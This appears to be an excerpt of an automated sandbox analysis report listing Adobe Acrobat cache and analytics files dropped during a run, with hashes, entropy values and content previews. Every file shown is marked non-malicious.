Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.358261682332778
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb/Gl5dNnVx+FIbRI6XVW7+0Yu4oAvJM3g98kUwPeUkwRe9:YvXKXb/sLNnyYpW7zGMbLUkee9
MD5:	89B780E12A1D48ADD60DC823E22026BE
SHA1:	BBA831BD810253731AC9629C31C629AE8B064B4B
SHA-256:	33EB28E071B1F5CD171ECAAB1E433E279BF172047A58925C78450424ADAF7A5D
SHA-512:	2792F461EBEF5245C48C116BD94EDD955B1A8960651FABF3F52440F663D111F132EA81687F44F7C47CCDAD115D72044A124F0B415A73C6F9150A3777244BDFBA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9415704-467d-4c5d-b9ef-1f8e19f5dc69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736688852860,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.294620565454116
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb/Gl5dNnVx+FIbRI6XVW7+0Yu4oAvJfBoTfXpnrPeUkwRe9:YvXKXb/sLNnyYpW7zGWTfXcUkee9
MD5:	4245780423E7381EDD9CAF1B6360D43C
SHA1:	6AD5A2FCE63022F5BCB4C512FB2D97D2A6784BEC
SHA-256:	B1C0016185976DD96DBE6FFD13B82A64EE500FE76549FAB6D2B3C922157DA71E
SHA-512:	8A4F57371E0A1CFDCC5351175557F75921D268C51085E8A62DD2DB08CE40FA18D9BABED819C220373CDD0E75406E6224C295D3C4DB65C75C224E0C6FF8C86586
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9415704-467d-4c5d-b9ef-1f8e19f5dc69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736688852860,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.273441640499714
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb/Gl5dNnVx+FIbRI6XVW7+0Yu4oAvJfBD2G6UpnrPeUkwRe9:YvXKXb/sLNnyYpW7zGR22cUkee9
MD5:	8E31378E84B6682868E40ABF1B8A224E
SHA1:	57F09F47567D264B3AC22E38707240E75D8D0A22
SHA-256:	31C317B309FED055F5E9DDC49C02B4DE3D11475EA3307C3E138DA531F44ECFA5
SHA-512:	975C262900CE484E12C166999C9DAC72478C49F8A8578025139B57A86069FF433B9CE66B9EDCF5AF00E60AEB3BC9300B9B761037B673DB4CFB06B67340168416
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9415704-467d-4c5d-b9ef-1f8e19f5dc69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736688852860,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.336975552829366
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb/Gl5dNnVx+FIbRI6XVW7+0Yu4oAvJfPmwrPeUkwRe9:YvXKXb/sLNnyYpW7zGH56Ukee9
MD5:	0BD0A6B596E4A6B2075E498D6275D166
SHA1:	B6EAC40D630A168F145BEE47B31E9ACD61EF03E0
SHA-256:	C64317BEAE8BD3830FBD622B795BB931F239B363B0878D77F4DF68417CF0A1A8
SHA-512:	32E2AB43A6BE48FD062E4E2603BCE94D2881B2F0913C2A002E57F1DE28E3B9AE3BA6453107CC1C6507ED7A9BFA0D7A1F9622AC36AF0473DC3C2AF74F55349A0A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9415704-467d-4c5d-b9ef-1f8e19f5dc69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736688852860,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.69015986257484
Encrypted:	false
SSDEEP:	24:Yv6XbqXiopLgE9cQx8LennAvzBvkn0RCmK8czOCCSCs:Yvnyohgy6SAFv5Ah8cv/Cs
MD5:	63361CA829333C61977BB075AF0DFE45
SHA1:	015B7846372F5466033C3E6ED6E88195CF8668FD
SHA-256:	5B5CAA97C41BC941D340306F69B31AE1C652963FAB53F88FCF3B1969CA36E3D6
SHA-512:	2ADD8A5B503D127C8029506662180A1DA2A9CF12027D0793604E3C27B54F8ACFA4E0CD004B57C681141FA83C5BE200A77A651CB141823542572B804A9EDE3721
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9415704-467d-4c5d-b9ef-1f8e19f5dc69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736688852860,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.280426544509663
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb/Gl5dNnVx+FIbRI6XVW7+0Yu4oAvJf8dPeUkwRe9:YvXKXb/sLNnyYpW7zGU8Ukee9
MD5:	A03154CEFE4ED0F16059FA3E612B2E37
SHA1:	412C9D52E76B7D5783EF9B4A212B9374C925CFA4
SHA-256:	91510A0C3AED7C1501B9EACC18E0E3AA56FC1F25E4584E904F9FA17814C4092C
SHA-512:	FF7316FF853AC82B2EE8D873F417A9560C4441549CB6C1CF4711E06DD86F9C4BB61479977E647C1CB3BE4B1D6CB4D03F26C0945B55406257885C12A27B84316B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9415704-467d-4c5d-b9ef-1f8e19f5dc69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736688852860,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.280687790111747
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb/Gl5dNnVx+FIbRI6XVW7+0Yu4oAvJfQ1rPeUkwRe9:YvXKXb/sLNnyYpW7zGY16Ukee9
MD5:	C17B2FCAFBD2EF5DC9A1F28731F25BE6
SHA1:	D54491BEFA231FEBF6006AC216C0D968AE0E2F87
SHA-256:	FDC6904A70243F6F2588D22D0EC95AC323103391D34FCACC35C641A77CEECFA4
SHA-512:	B204C47FA73A6B15D3D677C548DEC72300F2E5FD2C1112E4624DD9D0AEC2C999CBBADBDDE9E84EC6A626D2E6D0907FC856C2C643F3CAE2AE5F71D2FC262F3CD6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9415704-467d-4c5d-b9ef-1f8e19f5dc69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736688852860,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.300107704319729
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb/Gl5dNnVx+FIbRI6XVW7+0Yu4oAvJfFldPeUkwRe9:YvXKXb/sLNnyYpW7zGz8Ukee9
MD5:	BEAF05214BB92F3123A7665CF615A2F6
SHA1:	1C540659A1C7B5719929442AB31787E6FE8514DF
SHA-256:	B7F2A3897B7DA208CCEE2AB4CB51EF95AA0D73278D223F9A581C20F009B0184E
SHA-512:	6A73D94E16EC07929C2C4EAC42D9384A2F32E34D96B373929486BF2316CC64FBC8D98A67F48821B57E613EB58D3E09426D472C4320131EAE9D33BF2FD9F4989A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9415704-467d-4c5d-b9ef-1f8e19f5dc69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736688852860,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.308312946319898
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb/Gl5dNnVx+FIbRI6XVW7+0Yu4oAvJfzdPeUkwRe9:YvXKXb/sLNnyYpW7zGb8Ukee9
MD5:	242A98D49B958E664B43B695C756EB20
SHA1:	A62B1DAE79543487F8E75578CF6780B14C1974B7
SHA-256:	567596E4636DFE07151E55DAD1A5850A591DA0ABECF704F29E4DC9342551020F
SHA-512:	39A3D2913F5CB26B78BD695069593B4DB271EBFED83F0C9AD98BA6936C9369ABC27CEDB8C714A21CB9A8437AFDBAD0DC746C940599A46FD28632BC123B677A6C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9415704-467d-4c5d-b9ef-1f8e19f5dc69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736688852860,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.288121240282423
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb/Gl5dNnVx+FIbRI6XVW7+0Yu4oAvJfYdPeUkwRe9:YvXKXb/sLNnyYpW7zGg8Ukee9
MD5:	41CBB6B57FBE51BA554F9AA09FB39EFE
SHA1:	3C7B8890066DE47B7073AFF4435794357F64E9F4
SHA-256:	DB0D6C6D913BF7CAA34503AA013A9655F3A77ECC2CEDB8AD954D3DFB68713998
SHA-512:	150B240A0CF2D730FEF367C7E3A7DC926604EE0098F5CC775347D2DBE33212DA977AD10553CF40F8B771BB12CD9D78EAE7707A86357D90277B38AC21EBC1BC6A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9415704-467d-4c5d-b9ef-1f8e19f5dc69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736688852860,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.274543833632137
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb/Gl5dNnVx+FIbRI6XVW7+0Yu4oAvJf+dPeUkwRe9:YvXKXb/sLNnyYpW7zG28Ukee9
MD5:	8E50EA93081BE49FCF509B669E89CE37
SHA1:	0B4A5D9AB8A7FE63B1E81B1BF0293D0CBF36361C
SHA-256:	E0ACED07C869DEFBF5145F54B8EA0C9310F7E971FAD2AE5DEA5DBE834FAD4FD6
SHA-512:	AA5B3E3BF80F9F38AD1B284490B944B93C4EB7E00B65041B7C4C5941A6EE60C9CDFE6BAED787CDF4833C345845DAA4EFDC8C50420703F461201C1424F62D8BDB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9415704-467d-4c5d-b9ef-1f8e19f5dc69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736688852860,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.271749978916545
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb/Gl5dNnVx+FIbRI6XVW7+0Yu4oAvJfbPtdPeUkwRe9:YvXKXb/sLNnyYpW7zGDV8Ukee9
MD5:	1A35F7DB256BC8300DC0D14D02106C55
SHA1:	6EBDF886D48B706898996B963573BFAA5E1A382D
SHA-256:	29E48BEE443DA1EEDD7D87E2576BFBB7EA5D0A56D01005FCF4811B8A9F08BA18
SHA-512:	58DCE244D83C9F280D5963299324049A33B78781A2474D41C1EE758C224BACD89E7726D24FAD268766AD3AD3CF034BA26F97B4D7EBBF4B784FC1D93C761491C6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9415704-467d-4c5d-b9ef-1f8e19f5dc69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736688852860,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.272609028335915
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb/Gl5dNnVx+FIbRI6XVW7+0Yu4oAvJf21rPeUkwRe9:YvXKXb/sLNnyYpW7zG+16Ukee9
MD5:	F9C0711EA4DC3D33E75F91160DC97AFC
SHA1:	23A9CF29AC3B14944AB2CE9A7E30C4C224C97D2D
SHA-256:	465DB4907C1FD94E5EFAA043F1CBD929EA2479267F2A892A41DF786F8B1177EF
SHA-512:	01BCEC7A08B622CB46169EE60349162E4F5E9972228B4AA2382B2B477E6F3AD6EADA2083CBB2277ADF8764EBAD6F1897D80EECCD457D5E645BCED9F02233E9FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9415704-467d-4c5d-b9ef-1f8e19f5dc69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736688852860,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664020973294766
Encrypted:	false
SSDEEP:	24:Yv6XbqXicamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSCs:Yvny6BgkDMUJUAh8cvMCs
MD5:	602D2AD382F2AC46E555F92066C73457
SHA1:	7C4502E256C0BC44E4AA9CCBFA317790CBA51C05
SHA-256:	53A976AB37DC0DFAE30A942E9F9E8117531C6C733A7DD4137438B28EE18E861C
SHA-512:	E3424F481B26BFB187DB9491FDCACE3F3218C1D5FB61614523D780D6A20275D2C42F8B6E3D2F86AB85A7842D95ED1CAE1A4BEB6742C77D7F1768FB765C876A25
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9415704-467d-4c5d-b9ef-1f8e19f5dc69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736688852860,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.247267894537005
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb/Gl5dNnVx+FIbRI6XVW7+0Yu4oAvJfshHHrPeUkwRe9:YvXKXb/sLNnyYpW7zGUUUkee9
MD5:	978185E7213E4B4F8546562DC26E0B7F
SHA1:	E8CB41D7F14E39D2C29BD56BC3C746446D4C9141
SHA-256:	FD329694A86F463CBD941CC9803A12C2DECD7C09339FF3E46C56F6902B62E52E
SHA-512:	BE6AB8FA693D4B9235CE075B5505E3782C1F148723616019E212268AE8ED1E9D2392D332014AF4BC3EE93B5D3E1FE6A5F5E1B9E84E91322D98D9237747C03B4A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e9415704-467d-4c5d-b9ef-1f8e19f5dc69","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736688852860,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.263439781164801
Encrypted:	false
SSDEEP:	6:YEQXJ2HXb/Gl5dNnVx+FIbRI6XVW7+0Yu4oAvJTqgFCrPeUkwRe9:YvXKXb/sLNnyYpW7zGTq16Ukee9
MD5:	CA3566AFC208174BE81B1C75C932B542
SHA1:	F088F01C490932186DEF4D516EC7020270F75796
SHA-256:	37243795CD413E893210B570BFDAEB8C734AB1E0E6426E6EC96DF71CDE2CA827
